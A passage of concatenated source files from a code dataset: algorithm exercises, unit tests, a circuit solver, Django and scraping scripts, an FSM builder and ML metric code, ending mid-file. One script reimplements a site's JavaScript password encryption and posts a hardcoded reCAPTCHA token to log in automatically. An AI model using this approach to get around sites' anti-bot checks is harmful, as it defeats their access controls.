B[new_A[i][j][0]][k]\n return result\n \n def maxProfit(self, prices):\n \n if len(prices) <= 1:\n return 0\n \n s0 = [0] * len(prices) #cool\n s1 = [0] * len(prices) #buy\n s2 = [0] * len(prices) #sell\n \n s0[0] = 0\n s1[0] = -prices[0]\n s2[0] = 0\n \n for i in range(1, len(prices)):\n s0[i] = max(s0[i-1], s2[i-1])\n s1[i] = max(s1[i-1], s0[i-1]-prices[i])\n s2[i] = s1[i-1] + prices[i] \n \n return max(s0[len(prices)-1],s1[len(prices)-1],s2[len(prices)-1])\n \nif __name__ == '__main__':\n \n solution = Solution()\n# print(solution.findMinHeightTrees(4, [[1, 0], [1, 2], [1, 3]])) \n# print(solution.findMinHeightTrees(7, [[0, 3], [1, 3], [2, 3],[5, 4],[4, 6],[6, 3]])) \n# print(solution.multiply([\n# [ 1, 0, 0],\n# [-1, 0, 3]\n# ],[\n# [ 7, 0, 0 ],\n# [ 0, 0, 0 ],\n# [ 0, 0, 1 ]\n# ])) \n \n print(solution.maxProfit([1,2,3,0,2])) \n \n# l1 = [1,2,3]\n# l2 = [3,4,5]\n# print(reduce(lambda a,b:a+b, [a*b for a, b in zip(l1, l2)]))\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n ","repo_name":"wanax/Leetcode","sub_path":"graph/310. Minimum Height Trees.py","file_name":"310. Minimum Height Trees.py","file_ext":"py","file_size_in_byte":3172,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"64439686","text":"from __future__ import absolute_import\n\n\"\"\"\nUnit tests related to the handling of arrays of objects\n-------------------------------------------------------\n\nNotes on object handling:\n\n1. Only one dimensional arrays of objects are handled\n\n2. Composite dtypes that contains objects are currently not handled.\n\n\"\"\"\n\nfrom unittest import TestCase\n\nimport numpy as np\nimport blz\nfrom blz.tests.common import MayBeDiskTest\n\nclass ObjectBarrayTest(MayBeDiskTest, TestCase):\n def test_barray_1d_source(self):\n \"\"\"Testing barray of objects, 1d source\"\"\"\n src_data = ['s'*i for i in range(10)]\n carr = blz.barray(src_data, dtype=np.dtype('O'))\n\n self.assertEqual(len(carr.shape), 1)\n self.assertEqual(len(src_data), carr.shape[0])\n for i in range(len(carr)):\n self.assertEqual(carr[i], src_data[i])\n self.assertEqual(carr[i], src_data[i])\n\n def test_barray_2d_source(self):\n \"\"\"Testing barray of objects, 2d source\n\n Expected result will be a 1d barray whose elements are\n containers holding the inner dimension\n \"\"\"\n src_data = [(i, 's'*i) for i in range(10)]\n carr = blz.barray(src_data, dtype=np.dtype('O'))\n # note that barray should always create a 1 dimensional\n # array of objects.\n self.assertEqual(len(carr.shape), 1)\n self.assertEqual(len(src_data), carr.shape[0])\n for i in range(len(carr)):\n self.assertEqual(carr[i][0], src_data[i][0])\n self.assertEqual(carr[i][1], src_data[i][1])\n\n def test_barray_tuple_source(self):\n \"\"\"Testing a barray of objects that are tuples\n\n This uses a numpy container as source. Tuples should be\n preserved\n \"\"\"\n src_data = np.empty((10,), dtype=np.dtype('O'))\n src_data[:] = [(i, 's'*i) for i in range(src_data.shape[0])]\n carr = blz.barray(src_data)\n self.assertEqual(len(carr.shape), 1)\n self.assertEqual(len(src_data), carr.shape[0])\n self.assertEqual(type(carr[0]), tuple)\n self.assertEqual(type(carr[0]), type(src_data[0]))\n for i in range(len(carr)):\n self.assertEqual(carr[i][0], src_data[i][0])\n self.assertEqual(carr[i][1], src_data[i][1])\n\n def test_barray_record(self):\n \"\"\"Testing barray handling of record dtypes containing\n objects. They must raise a type error exception, as they are\n not supported\n \"\"\"\n src_data = [(i, 's'*i) for i in range(10)]\n self.assertRaises(TypeError, blz.barray, src_data, dtype=np.dtype('O,O'))\n\n def test_barray_record_as_object(self):\n src_data = np.empty((10,), dtype=np.dtype('u1,O'))\n src_data[:] = [(i, 's'*i) for i in range(10)]\n carr = blz.barray(src_data, dtype=np.dtype('O'))\n self.assertEqual(len(carr.shape), 1)\n self.assertEqual(len(src_data), carr.shape[0])\n for i in range(len(carr)):\n self.assertEqual(carr[i][0], src_data[i][0])\n self.assertEqual(carr[i][1], src_data[i][1])\n\n # The following tests document different alternatives in handling\n # input data which would infer a record dtype in the resulting\n # barray.\n #\n # option 1: fail with a type error as if the dtype was\n # explicit\n #\n # option 2: handle it as an array of arrays of objects.\n def test_barray_record_inferred_opt1(self):\n \"\"\"Testing barray handling of inferred record dtypes\n containing objects. When there is no explicit dtype in the\n barray constructor, the dtype is inferred. This test checks\n that an inferred dtype results in a type error.\n \"\"\"\n src_data = np.empty((10,), dtype=np.dtype('u1,O'))\n src_data[:] = [(i, 's'*i) for i in range(10)]\n self.assertRaises(TypeError, blz.barray, src_data)\n\n # This test is disabled. option 1 above has been implemented.\n def _test_barray_record_inferred_opt2(self):\n \"\"\"Testing barray handling of inferred record dtypes\n containing objects. When there is no explicit dtype in the\n barray constructor, the dtype becomes 'O', and the barrays\n behaves accordingly (one dimensional)\n \"\"\"\n src_data = np.empty((10,), dtype=np.dtype('u1,O'))\n src_data[:] = [(i, 's'*i) for i in range(10)]\n\n carr = blz.barray(src_data)\n # note: this is similar as if it was created with dtype='O'\n self.assertEqual(len(carr.shape), 1)\n self.assertEqual(len(src_data), carr.shape[0])\n for i in range(len(carr)):\n self.assertEqual(carr[i][0], src_data[i][0])\n self.assertEqual(carr[i][1], src_data[i][1])\n\n\nclass ObjectBarrayDiskTest(ObjectBarrayTest):\n disk = True\n\n\n\n## Local Variables:\n## mode: python\n## coding: utf-8\n## fill-column: 66\n## End:\n\n","repo_name":"ContinuumIO/blz","sub_path":"blz/tests/test_barray_objects.py","file_name":"test_barray_objects.py","file_ext":"py","file_size_in_byte":4830,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"3"} +{"seq_id":"38053561098","text":"import turtle\nimport random\n\nfranklin = turtle.Turtle()\nwindow = turtle.Screen()\nwindow.screensize(800,800)\nfranklin.shape(\"turtle\")\nfranklin.color(\"purple\")\non_screen= window.turtles() \nisInScreen= True\n\n\n\nwhile isInScreen :\n coin = random.randrange(1, 3)\n if coin == 1:\n print('Heads')\n franklin.color(\"green\")\n franklin.left(90)\n franklin.forward(50)\n if coin == 2:\n print ('Tails')\n franklin.color(\"yellow\")\n franklin.right(90)\n franklin.forward(50)\n\n \n turtleX = franklin.xcor()\n turtleY = franklin.ycor()\n x_range = window.window_width()/2\n y_range = window.window_height()/2\n\n \n if abs(turtleX) > x_range or abs(turtleY) > y_range:\n isInScreen = False\n break\n\nwindow.exitonclick()","repo_name":"bucs110FALL22/portfolio-lthorne3","sub_path":"ch04/exercises/coin.py","file_name":"coin.py","file_ext":"py","file_size_in_byte":729,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"30033261623","text":"import networkx as nx\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n\n# https://www.intmath.com/matrices-determinants/6-matrices-linear-equations.php\ndef show_graph(G):\n # To show arrows\n G = G.to_directed()\n\n ebunch = []\n\n for i,e in enumerate(G.edges):\n u, v = e\n if (u,v) not in ebunch and (v,u) not in ebunch:\n ebunch.append((u,v))\n\n G.remove_edges_from(ebunch)\n pos = nx.planar_layout(G)\n\n nx.draw_planar(G, with_labels=True, font_weight='bold')\n labels = nx.get_edge_attributes(G, 'weight')\n nx.draw_networkx_edge_labels(G, pos=pos, with_labels=True, font_weight='bold', edge_labels=labels)\n plt.show()\n\n\ndef show_matrix(mat):\n for i in mat:\n for j in i:\n print(j, end=' ')\n print()\n print()\n\n\ndef find_current_kirchhoff(R_load, V_load):\n N = int(max([x[0] for x in R_load] + [x[1] for x in R_load]) + 1)\n K = len(R_load)\n\n R = nx.Graph()\n R.add_nodes_from([x for x in range(N)])\n for e in R_load:\n R.add_edge(int(e[0]), int(e[1]), weight=e[2])\n\n direct = [[0 for i in range(N)] for x in range(N)]\n resistance = [[0 for i in range(N)] for x in range(N)]\n voltage = [[0 for i in range(N)] for x in range(N)]\n edges = {}\n equations = []\n m_row = 0\n right_side = []\n\n # zakladamy ze jak wczytujemy 1 2 8 too prad plynie od 1 do 2 z rezystancja 8\n\n for i, e in enumerate(R_load):\n direct[int(e[0])][int(e[1])] = 1\n direct[int(e[1])][int(e[0])] = -1\n resistance[int(e[0])][int(e[1])] = e[2]\n resistance[int(e[1])][int(e[0])] = -e[2]\n # Indexing edges\n edges[(e[0], e[1])] = i\n edges[(e[1], e[0])] = i\n\n for e in V_load:\n voltage[int(e[0])][int(e[1])] = e[2]\n voltage[int(e[1])][int(e[0])] = -e[2]\n\n # II Kirchoff law\n cycles = nx.cycle_basis(R)\n\n for cycle in cycles:\n sum_voltage = 0\n equations.append([0 for x in range(K)])\n for i, node in enumerate(cycle):\n node_1 = cycle[i]\n node_2 = cycle[((i + 1) % len(cycle))]\n edge = edges[(node_1, node_2)]\n sum_voltage += voltage[node_1][node_2]\n equations[m_row][edge] = resistance[node_1][node_2]\n\n m_row += 1\n right_side.append(sum_voltage)\n\n # I Kirchoff law\n for n, node in enumerate(direct):\n equations.append([0 for x in range(K)])\n right_side.append(0)\n for n2, node_2 in enumerate(node):\n if node_2 != 0:\n equations[m_row][edges[(n, n2)]] = node_2\n m_row += 1\n\n print(\"Równania macierzowe\")\n show_matrix(equations)\n print(\"Wektor napieć:\")\n print(right_side)\n\n solution, x, y, z = np.linalg.lstsq(equations, right_side)\n print(\"Rozwiązanie:\")\n print(solution)\n\n for (a, b) in R.edges:\n R[a][b]['weight'] = round(solution[edges[(a, b)]], 5)\n\n return R\n\n\ndef open_graph(file_with_resistance, file_with_voltage):\n with open(file_with_resistance) as f:\n w, h = [float(x) for x in next(f).split()]\n R_load = [[float(x) for x in line.split()] for line in f]\n\n with open(file_with_voltage) as f:\n w, h = [float(x) for x in next(f).split()]\n V_load = [[float(x) for x in line.split()] for line in f]\n\n return R_load, V_load\n\n#\nR, V = open_graph('circuit_resistance.txt', 'curcuit_voltage.txt')\nG = find_current_kirchhoff(R, V)\nshow_graph(G)\n\nR, V = open_graph('cube_resistance.txt', 'cube_voltage.txt')\nG = find_current_kirchhoff(R, V)\nshow_graph(G)\n\nR, V = open_graph('2_random_with_bridge.txt', '2_random_with_bridge_voltage.txt')\nG = find_current_kirchhoff(R, V)\nshow_graph(G)\n\nR, V = open_graph('2d_sieve_resistance.txt', '2d_sieve_voltage.txt')\nG = find_current_kirchhoff(R, V)\nshow_graph(G)","repo_name":"RadekKpc/Mownit","sub_path":"lab6/circuit.py","file_name":"circuit.py","file_ext":"py","file_size_in_byte":3782,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"3"} +{"seq_id":"16039399952","text":"# -*- encoding:utf-8 -*-\n\"\"\"\ncompany:IT\nauthor:pengjinfu\nproject:migu\ntime:2020.5.7\n\"\"\"\nfrom info import user, pwd\nimport requests\nimport execjs\nimport asyncio\nimport time\n\n\nclass Login():\n def __init__(self):\n self.session = requests.Session()\n self.headers = {\n 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0'}\n\n async def get_js_info(self):\n with open('kaiyuanzhongguo.js', 'r') as file:\n js = file.read()\n results_pwd = execjs.compile(js).call('getPwd', pwd)\n\n return results_pwd\n\n async def handle_request(self, url, data=None, headers=None):\n response = self.session.post(url, data=data, headers=headers)\n if response.status_code == 200:\n return response.json()\n\n async def login(self):\n results_pwd = await self.get_js_info()\n print('pwd:',results_pwd)\n url = 'https://store.steampowered.com/login/dologin/'\n\n data = {\n 'pwd': results_pwd,\n 'email': user,\n 'verifyCode': '',\n 'save_login': 1,\n 'google_code': '03AGdBq26No7AFvX2LyQSSbHh_apPUfPe6xzya21h96n7UdmjdxhWpLD9B3LSCElOyWSJIBuvoRQVi4JzbhfIv02PvFYhoTcd9VcUe16YGaKxz_KtKJheXRRVhRG1JnatK8L5e5dOeBmoO5C4SgwW2nDB9PCDM5IvBPftMzSDjpg0yFCe9A-S0UNsQXBSOLAoY1vjNjvBZ1tSppJzrSE3euxN4-U2wpYJ-Q60gUCP67rDJhIj04vI7tIodRPRsMJf_T1XG_UIhp2YvY3vsIUiRVuJv5Bf3hUD-V40MzS8lj3ref8NG_jU6Nz9YTGH5KSiCwibD09FMG2BKZqr1nf02otYZjXQdB1TwFSHlZ7I9hD_Kf7SATPULM3HjPBjlvXMIHOElM-VbRa156G_V96poDsNtEzwef3qjvQ',\n }\n\n headers = {\n 'Host': 'www.oschina.net',\n 'Origin': 'https://www.oschina.net',\n 'Referer': 'https://www.oschina.net/home/login?goto_page=https%3A%2F%2Fwww.oschina.net%2F',\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3314.0 Safari/537.36 SE 2.X MetaSr 1.0',\n 'X-Requested-With': 'XMLHttpRequest'\n }\n\n response = await self.handle_request(url, data, headers)\n return response\n\n async def run(self):\n print(await self.login())\n\n\nif __name__ == '__main__':\n login = Login()\n task = login.run()\n asyncio.get_event_loop().run_until_complete(task)\n","repo_name":"pengjinfu/Crack_JS","sub_path":"kaiyuanzhongguo/kaiyuanzhongguo.py","file_name":"kaiyuanzhongguo.py","file_ext":"py","file_size_in_byte":2334,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"13783189350","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('faq', '0001_initial'),\n ]\n\n operations = [\n migrations.AlterModelOptions(\n name='questionanswer',\n options={'ordering': ('ord',), 'verbose_name': 'Question', 'verbose_name_plural': 'Questions'},\n ),\n migrations.AlterModelOptions(\n name='questionanswercategory',\n options={'ordering': ('name_es',), 'verbose_name': 'Category', 'verbose_name_plural': 'Categories'},\n ),\n migrations.AlterField(\n model_name='questionanswer',\n name='category',\n field=models.ForeignKey(related_name='questions', to='faq.QuestionAnswerCategory'),\n preserve_default=True,\n ),\n ]\n","repo_name":"fmartingr/shelfzilla","sub_path":"shelfzilla/apps/faq/migrations/0002_auto_20150505_2227.py","file_name":"0002_auto_20150505_2227.py","file_ext":"py","file_size_in_byte":874,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"30463777292","text":"#!/usr/bin/env python\n\n\"\"\"Scrape beer styles from beeradvocate.com/beer/style/.\"\"\"\n\n# scraping\nimport requests\nfrom lxml import html\n\n# mongodb\nfrom pymongo import MongoClient, DESCENDING\n\n# functions\n\n\ndef get_html(link):\n \"\"\"Load HTML page and parse it.\"\"\"\n # load html page and parse it\n page = requests.get(link)\n tree = html.fromstring(page.content)\n return tree\n\n\ndef parse_beer_info(link):\n \"\"\"Parse information of beer.\"\"\"\n # constants to select range in table\n min_tr = 4\n max_tr = 54\n page = requests.get(link)\n tree = html.fromstring(page.content)\n\n brew_name, ids, beer_name = [], [], []\n\n for i in range(min_tr, max_tr):\n p = '//*[@id=\"ba-content\"]/table/tr[' + str(i) + ']'\n\n brew_name.append(tree.xpath(p + '//text()')[1])\n beer_name.append(tree.xpath(p + '//text()')[0])\n ids.append(tree.xpath(p + '//a/@href')[0])\n\n brewery_id = [i.split('/')[3] for i in ids]\n beer_id = [i.split('/')[4] for i in ids]\n\n return(beer_id, beer_name, brewery_id, brew_name)\n\n\nbstyles = list(zip([155, 159, 73, 175, 40],\n ['American Pale Lager', 'American Porter', 'American Brown Ale',\n 'American Black Ale', 'Czech Pilsener']))\n\nprint('Extract all beers for styles')\n\nlink = 'https://www.beeradvocate.com/beer/style/'\n\n# connect to mongodb client\nclient = MongoClient()\ndb = client.breweries\n\n# loop over beer styles and get 50 beers with highest amount of reviews\nfor style in bstyles:\n print(style)\n link = 'https://www.beeradvocate.com/beer/style/%(style)d/?sort=revsD' % {\n 'style': style[0]}\n\n beer_ids, beer_names, brew_ids, brew_names = [], [], [], []\n try:\n beer_ids, beer_names, brew_ids, brew_names = parse_beer_info(link)\n\n # get beer data in mongodb format\n beers = [{'beer_id': int(beer_id),\n 'brew_id': int(brew_id),\n 'style_id': style[0],\n 'beer_name': beer_name,\n 'brew_name': brew_name,\n 'style_name': style[1]}\n for beer_id, brew_id, beer_name, brew_name\n in zip(beer_ids, brew_ids, beer_names, brew_names)]\n\n # add beers to mongodb\n db.styles.insert(beers)\n except:\n print('Some Problem here.') # probably less than 50 beers in style\n\n\n# add beer_id and brew_id as compund index\nclient = MongoClient()\ndb = client.breweries\n\ndb.styles.create_index([('brew_id', DESCENDING),\n ('beer_id', DESCENDING)])\n","repo_name":"ebommes/breweries","sub_path":"scraper/beers.py","file_name":"beers.py","file_ext":"py","file_size_in_byte":2530,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"34931149066","text":"from django import forms\nfrom .models import Url\n\nclass url_form(forms.ModelForm):\n class Meta:\n model = Url\n fields = ['original_url']\n\n widgets = {\n 'original_url': forms.TextInput(attrs={\n 'placeholder': 'Paste Your Long URL and Short it',\n })\n }","repo_name":"Harikishore4461/URL_Shortener","sub_path":"files/urlshortener/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":317,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"143122016","text":"import os\n\nfrom fsm_tools.fsm_types import State\nfrom fsm_tools.parsers.actions_parser import ActionParser\nfrom fsm_tools.parsers.attributes_parser import AttributeParser\nfrom fsm_tools.parsers.plantuml_parser import PlantUMLParser\n\n\nclass FSMBuilder:\n @staticmethod\n def _index_each_states(states, index):\n for state in states:\n state.index = index\n index += 1\n if state.sub_states:\n FSMBuilder._index_each_states(state.sub_states, 0)\n\n @staticmethod\n def _index_each_transitions(transitions, index):\n for transition in transitions:\n transition.index = index\n index += 1\n\n @staticmethod\n def _find_action_name(action_name, state=None):\n if state:\n for action in state.actions:\n if action_name == action.name:\n return action\n return FSMBuilder._find_action_name(action_name, state.parent_state)\n\n @staticmethod\n def _tie_tran_action(transition):\n for call_action in transition.call_actions:\n action_name = call_action.name\n if action_name:\n found_action = FSMBuilder._find_action_name(action_name, transition.from_state)\n if found_action is not None:\n call_action.action = found_action\n continue\n\n found_action = FSMBuilder._find_action_name(action_name, transition.to_state)\n if found_action is not None:\n call_action.action = found_action\n continue\n\n raise ValueError(f'Action for transition[{transition}] is not found !!')\n\n def build_from(self, uml_diagram, lang):\n uml_parser = PlantUMLParser()\n sub_states, transitions = uml_parser.parse_uml_file(uml_diagram)\n fsm_name = os.path.splitext(os.path.basename(uml_diagram))[0]\n fsm = State.create_state(fsm_name)\n\n FSMBuilder._index_each_states(sub_states, 0)\n FSMBuilder._index_each_transitions(transitions, 0)\n attribute_files = AttributeParser.find_all_attribute_files(\n os.path.dirname(uml_diagram))\n external_attributes = {attrib_name for attrib_name, _ in attribute_files}\n attribute_parser = AttributeParser()\n action_parser = ActionParser()\n fsm.attributes = attribute_parser.find_all_attributes_for(os.path.dirname(uml_diagram),\n fsm_name)\n for state in sub_states:\n state.attributes = attribute_parser.find_all_attributes_for(os.path.dirname(uml_diagram),\n state.name)\n state.actions = action_parser.find_all_action_for(os.path.dirname(uml_diagram),\n state.name)\n fsm.sub_states = sub_states\n for tran in transitions:\n FSMBuilder._tie_tran_action(tran)\n return fsm\n","repo_name":"redradist/hsm_tools","sub_path":"src/fsm_tools/fsm_builder.py","file_name":"fsm_builder.py","file_ext":"py","file_size_in_byte":3027,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"26662237014","text":"from django import forms\nfrom django.db import models \nimport re \nSERVICES = (\n ('www','www'),\n ('service', 'service'),\n ('AD', 'AD'),\n)\n\nclass FlagForm(forms.Form):\n flag = forms.CharField(label=\"Flag\", max_length=32)\n service = forms.CharField(widget=forms.Select(choices=SERVICES))\n\n\n def clean_flag(self):\n flag = self.cleaned_data['flag']\n flag_check = re.compile(r\"([a-fA-F0-9]{32})\")\n\n if flag_check.match(flag):\n return flag\n else:\n raise forms.ValidationError(\"Flag should be an md5 value\")\n\n def clean_service(self):\n service_list = [\"www\",\"service\",\"AD\"]\n\n service = self.cleaned_data['service']\n if service in service_list:\n return service\n else:\n raise forms.ValidationError(\"You are trying to enter an invalid service\")\n \n","repo_name":"bithinalangot/kingofhill","sub_path":"forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":864,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"36768152750","text":"# coding=utf-8\nimport numpy as np\nimport pandas as pd\nimport types\nfrom ....data.materials.CrystalStructureEntry import CrystalStructureEntry\nfrom ....data.materials.util.LookUpData import LookUpData\nfrom ....models.regression.crystal.PRDFRegression import PRDFRegression\n\nclass PRDFAttributeGenerator:\n \"\"\"Class to compute attributes based on the Pair Radial Distribution\n Function (PRDF).\n Based on work by Schutt et al. [1].\n\n Attributes\n ----------\n cut_off_distance : float\n Cutoff distance for PRDF.\n n_points : int\n Number of distance points to evaluate.\n element_list : array-like\n Elements to use in PRDF. A list of int values.\n\n References\n ----------\n .. [1] K. T. Schütt, H. Glawe, F. Brockherde, A. Sanna, K. R. Müller,\n and E. K. U. Gross, \"How to represent crystal structures for machine\n learning: Towards fast prediction of electronic properties,\" Physical\n Review B, vol. 89, no. 20, May 2014.\n\n \"\"\"\n\n def __init__(self):\n \"\"\"Function to create instance and initialize fields.\n\n \"\"\"\n\n # Cutoff distance for PRDF.\n self.cut_off_distance = 10\n\n # Number of distance points to evaluate.\n self.n_points = 20\n\n # List of Elements to use in PRDF.\n self.element_list = []\n\n def set_cut_off_distance(self, d):\n \"\"\"Function to set the maximum distance to consider when computing the\n PRDF.\n\n Parameters\n ----------\n d : float\n Desired cutoff distance.\n\n \"\"\"\n\n self.cut_off_distance = d\n\n def set_n_points(self, n_p):\n \"\"\"Function to set the number of points on each PRDF to store.\n\n Parameters\n ----------\n n_p : int\n Number of evaluation points.\n\n \"\"\"\n\n self.n_points = n_p\n\n def clear_element_list(self):\n \"\"\"Function to clear out the elements in element list.\n\n \"\"\"\n\n self.element_list = []\n\n def set_elements(self, entries):\n \"\"\"Function to set the elements when computing PRDF.\n\n Parameters\n ----------\n data : array-like\n A list of CompositionEntry's containing each element to be added.\n\n \"\"\"\n\n self.clear_element_list()\n for entry in entries:\n for elem in entry.get_element_ids():\n if elem not in self.element_list:\n self.add_element(id=elem)\n\n def add_element(self, id=None, name=None):\n \"\"\"Function to add element to list used when computing PRDF.\n\n Parameters\n ----------\n id : int\n ID of element (Atomic number - 1).\n name : str\n Name of the element.\n\n Raises\n ------\n ValueError\n If both arguments are None.\n If entered element name can not be found in database.\n\n \"\"\"\n\n if id is not None:\n self.element_list.append(id)\n elif name is None:\n raise ValueError(\"Either id or name must be provided to locate \"\n \"element to be added.\")\n elif name not in LookUpData.element_names:\n raise ValueError(\"No such element: \"+name)\n else:\n self.element_list.append(LookUpData.element_names.index(name))\n\n def generate_features(self, entries):\n \"\"\"Function to generate features as mentioned in the class description.\n\n Parameters\n ----------\n entries : array-like\n Crystal structures for which features are to be generated. A list\n of CrystalStructureEntry's.\n\n Returns\n ----------\n features : DataFrame\n Features for the given entries. Pandas data frame containing the\n names and values of the descriptors.\n\n Raises\n ------\n ValueError\n If input is not of type list.\n If items in the list are not CrystalStructureEntry instances.\n\n \"\"\"\n\n # Initialize list of feature values for pandas data frame.\n feat_values = []\n\n # Raise exception if input argument is not of type list of\n # CrystalStructureEntry's.\n if not isinstance(entries, list):\n raise ValueError(\"Argument should be of type list of \"\n \"CrystalStructureEntry's\")\n elif (entries and not isinstance(entries[0], CrystalStructureEntry)):\n raise ValueError(\"Argument should be of type list of \"\n \"CrystalStructureEntry's\")\n\n # Get names of elements in set.\n self.element_list.sort()\n elem_names = [LookUpData.element_names[i] for i in self.element_list]\n elem_ids = list(self.element_list)\n\n # Get the step size for the PRDF.\n step_size = self.cut_off_distance / self.n_points\n\n # Insert header names here.\n feat_headers = [\"{:s}_{:s}_R={:3f}\".format(elem_a, elem_b, step *\n step_size) for elem_a in elem_names for elem_b in\n elem_names for step in range(1, self.n_points + 1)]\n\n # Initialize PRDF tool.\n tool = PRDFRegression()\n tool.set_cut_off(self.cut_off_distance)\n tool.set_n_bins(self.n_points)\n\n l_fh = len(feat_headers)\n # Generate features for each entry.\n for entry in entries:\n # Compute the PRDF.\n prdf = tool.compute_representation(entry.get_structure())\n tmp_array = np.zeros(l_fh, dtype=float)\n for pair in prdf:\n # Determine position in output.\n elem_a = elem_ids.index(pair[0])\n elem_b = elem_ids.index(pair[1])\n\n prdf_pos = (elem_a * len(self.element_list) + elem_b) * \\\n self.n_points\n tmp_array[prdf_pos: (prdf_pos + self.n_points)] = prdf[pair][\n 0 : self.n_points]\n\n feat_values.append(tmp_array)\n\n features = pd.DataFrame(feat_values, columns=feat_headers)\n return features\n","repo_name":"hachmannlab/chemml","sub_path":"chemml/chem/magpie_python/attributes/generators/crystal/PRDFAttributeGenerator.py","file_name":"PRDFAttributeGenerator.py","file_ext":"py","file_size_in_byte":6074,"program_lang":"python","lang":"en","doc_type":"code","stars":143,"dataset":"github-code","pt":"3"} +{"seq_id":"15640190571","text":"def sqrtApproximation(n, ap):\n '''\n * sqrtApproximation: Newton's successive approximation method *\n\n Parameters:\n n: It is an integer, provided by the user. (Type: Integer)\n ap: It is the number of desired approaches. (Type: Integer)\n Returns:\n Returns the result of the square root of the number entered\n by Newton's successive approximation method. (Type: Float)\n '''\n root = n/2\n for i in range(ap):\n root = ((root * root) + n) / (2 * root)\n\n print('\\nThe root of {} is {} with {} approximations used.'.format(n, root, ap))\n return root\n\ndef main():\n n = int(input('Enter an integer value: '))\n ap = int(input('What number of approaches is desired? '))\n\n result = sqrtApproximation(n, ap)\n\n print('\\nThe function returns the value: ', result)\n\nif __name__ == \"__main__\":\n main()","repo_name":"lapisco/IND.086-PROGRAMACAO-AVANCADA","sub_path":"Python/Lista 1 – Introdução à Lógica de Programação/31/source.py","file_name":"source.py","file_ext":"py","file_size_in_byte":859,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"30514467492","text":"import copy\nfrom collections import OrderedDict\nfrom itertools import product\nfrom typing import Any, Dict, List, Optional, Sequence, Tuple, Union\n\nimport mmengine\nimport numpy as np\nimport torch\nfrom mmengine.evaluator import BaseMetric\n\nfrom mmaction.evaluation import (get_weighted_score, mean_average_precision,\n mean_class_accuracy,\n mmit_mean_average_precision, top_k_accuracy)\nfrom mmaction.registry import METRICS\n\n\ndef to_tensor(value):\n \"\"\"Convert value to torch.Tensor.\"\"\"\n if isinstance(value, np.ndarray):\n value = torch.from_numpy(value)\n elif isinstance(value, Sequence) and not mmengine.is_str(value):\n value = torch.tensor(value)\n elif not isinstance(value, torch.Tensor):\n raise TypeError(f'{type(value)} is not an available argument.')\n return value\n\n\n@METRICS.register_module()\nclass AccMetric(BaseMetric):\n \"\"\"Accuracy evaluation metric.\"\"\"\n default_prefix: Optional[str] = 'acc'\n\n def __init__(self,\n metric_list: Optional[Union[str, Tuple[str]]] = (\n 'top_k_accuracy', 'mean_class_accuracy'),\n collect_device: str = 'cpu',\n metric_options: Optional[Dict] = dict(\n top_k_accuracy=dict(topk=(1, 5))),\n prefix: Optional[str] = None) -> None:\n\n # TODO: fix the metric_list argument with a better one.\n # `metrics` is not a safe argument here with mmengine.\n # we have to replace it with `metric_list`.\n super().__init__(collect_device=collect_device, prefix=prefix)\n if not isinstance(metric_list, (str, tuple)):\n raise TypeError('metric_list must be str or tuple of str, '\n f'but got {type(metric_list)}')\n\n if isinstance(metric_list, str):\n metrics = (metric_list, )\n else:\n metrics = metric_list\n\n # coco evaluation metrics\n for metric in metrics:\n assert metric in [\n 'top_k_accuracy', 'mean_class_accuracy',\n 'mmit_mean_average_precision', 'mean_average_precision'\n ]\n\n self.metrics = metrics\n self.metric_options = metric_options\n\n def process(self, data_batch: Sequence[Tuple[Any, Dict]],\n data_samples: Sequence[Dict]) -> None:\n \"\"\"Process one batch of data samples and data_samples. The processed\n results should be stored in ``self.results``, which will be used to\n compute the metrics when all batches have been processed.\n\n Args:\n data_batch (Sequence[dict]): A batch of data from the dataloader.\n data_samples (Sequence[dict]): A batch of outputs from the model.\n \"\"\"\n data_samples = copy.deepcopy(data_samples)\n for data_sample in data_samples:\n result = dict()\n pred = data_sample['pred_score']\n label = data_sample['gt_label']\n\n # Ad-hoc for RGBPoseConv3D\n if isinstance(pred, dict):\n for item_name, score in pred.items():\n pred[item_name] = score.cpu().numpy()\n else:\n pred = pred.cpu().numpy()\n\n result['pred'] = pred\n if label.size(0) == 1:\n # single-label\n result['label'] = label.item()\n else:\n # multi-label\n result['label'] = label.cpu().numpy()\n self.results.append(result)\n\n def compute_metrics(self, results: List) -> Dict:\n \"\"\"Compute the metrics from processed results.\n\n Args:\n results (list): The processed results of each batch.\n\n Returns:\n dict: The computed metrics. The keys are the names of the metrics,\n and the values are corresponding results.\n \"\"\"\n labels = [x['label'] for x in results]\n\n eval_results = dict()\n # Ad-hoc for RGBPoseConv3D\n if isinstance(results[0]['pred'], dict):\n\n for item_name in results[0]['pred'].keys():\n preds = [x['pred'][item_name] for x in results]\n eval_result = self.calculate(preds, labels)\n eval_results.update(\n {f'{item_name}_{k}': v\n for k, v in eval_result.items()})\n\n if len(results[0]['pred']) == 2 and \\\n 'rgb' in results[0]['pred'] and \\\n 'pose' in 